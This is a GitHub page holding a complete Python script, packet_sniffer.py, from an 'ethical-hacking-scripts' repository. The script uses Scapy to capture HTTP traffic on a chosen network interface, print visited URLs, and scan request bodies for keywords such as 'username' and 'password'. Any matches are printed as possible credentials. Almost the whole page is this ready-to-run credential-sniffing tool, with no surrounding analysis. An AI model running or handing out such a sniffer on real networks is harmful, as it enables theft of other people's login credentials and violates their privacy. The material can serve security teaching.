forked from adviksinghania/ethical-hacking-scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpacket_sniffer.py
More file actions
executable file
·77 lines (62 loc) · 2.63 KB
/
Copy pathpacket_sniffer.py
File metadata and controls
executable file
·77 lines (62 loc) · 2.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
# packet_sniffer.py
"""HTTP Packet sniffing using Python3 and ScaPy"""
import sys
import argparse
try:
import scapy.all as sp
from scapy.layers.http import HTTPRequest
except ModuleNotFoundError:
print('Please install the dependencies: ScaPy')
print('Run: sudo python3 -m pip install scapy[complete]')
sys.exit(0)
def set_arguments(p):
# Setting options for command line arguments
p.add_argument('-i', '--interface', dest='interface', help='Network interface to run the sniffer. e.g.: eth0, wlan0')
def get_arguments(p):
# Parsing the command line arguments and returning the arguments
arguments = p.parse_args()
if arguments.interface is None:
p.error(f'Please specify a network interface. Type {sys.argv[0]} -h for more info.')
else:
return arguments
def get_url(packet):
# Function to extract the URL and Path from the HTTP Request
url_byte = packet[HTTPRequest].Host + packet[HTTPRequest].Path
# Converting the bytes type output to string in UTF-8 format.
return url_byte.decode('utf-8')
def get_login(packet):
# Function to extract the part of the packet that contains possible login credentials
# If the packet has a RAW layer
if packet.haslayer(sp.Raw):
# Decode the RAW layer and search for possible keywords for credentials.
load = packet[sp.Raw].load.decode('utf-8')
keywords = ('username', 'user', 'login', 'pass', 'password', 'Login', 'Password', 'Sign', 'sign', 'l', 'p')
if any(key in load for key in keywords):
return load
def process_pkt(packet):
if packet.haslayer(HTTPRequest):
# If the packet has an HTTP Request Layer
# Extract the URL and check for possible credentials
url = get_url(packet)
print('[+] URL:', url)
creds = get_login(packet)
if creds is not None:
print('\n************* Possible Credentials *************')
print(creds)
print('************************************************\n')
def sniff(interface):
print(f'[+] Running sniffer on network interface {interface}...')
print('[+] Press CRTL + C to exit.')
sp.sniff(iface=interface, store=False, prn=process_pkt)
if __name__ == '__main__':
parser = argparse.ArgumentParser() # ArgumentParser() class to parse the command line arguments
set_arguments(parser)
# Getting the command line arguments
args = get_arguments(parser)
try:
sniff(args.interface)
except PermissionError:
print('[!] Please run the script as root.')
except OSError:
print('[!] No such interface on this device.')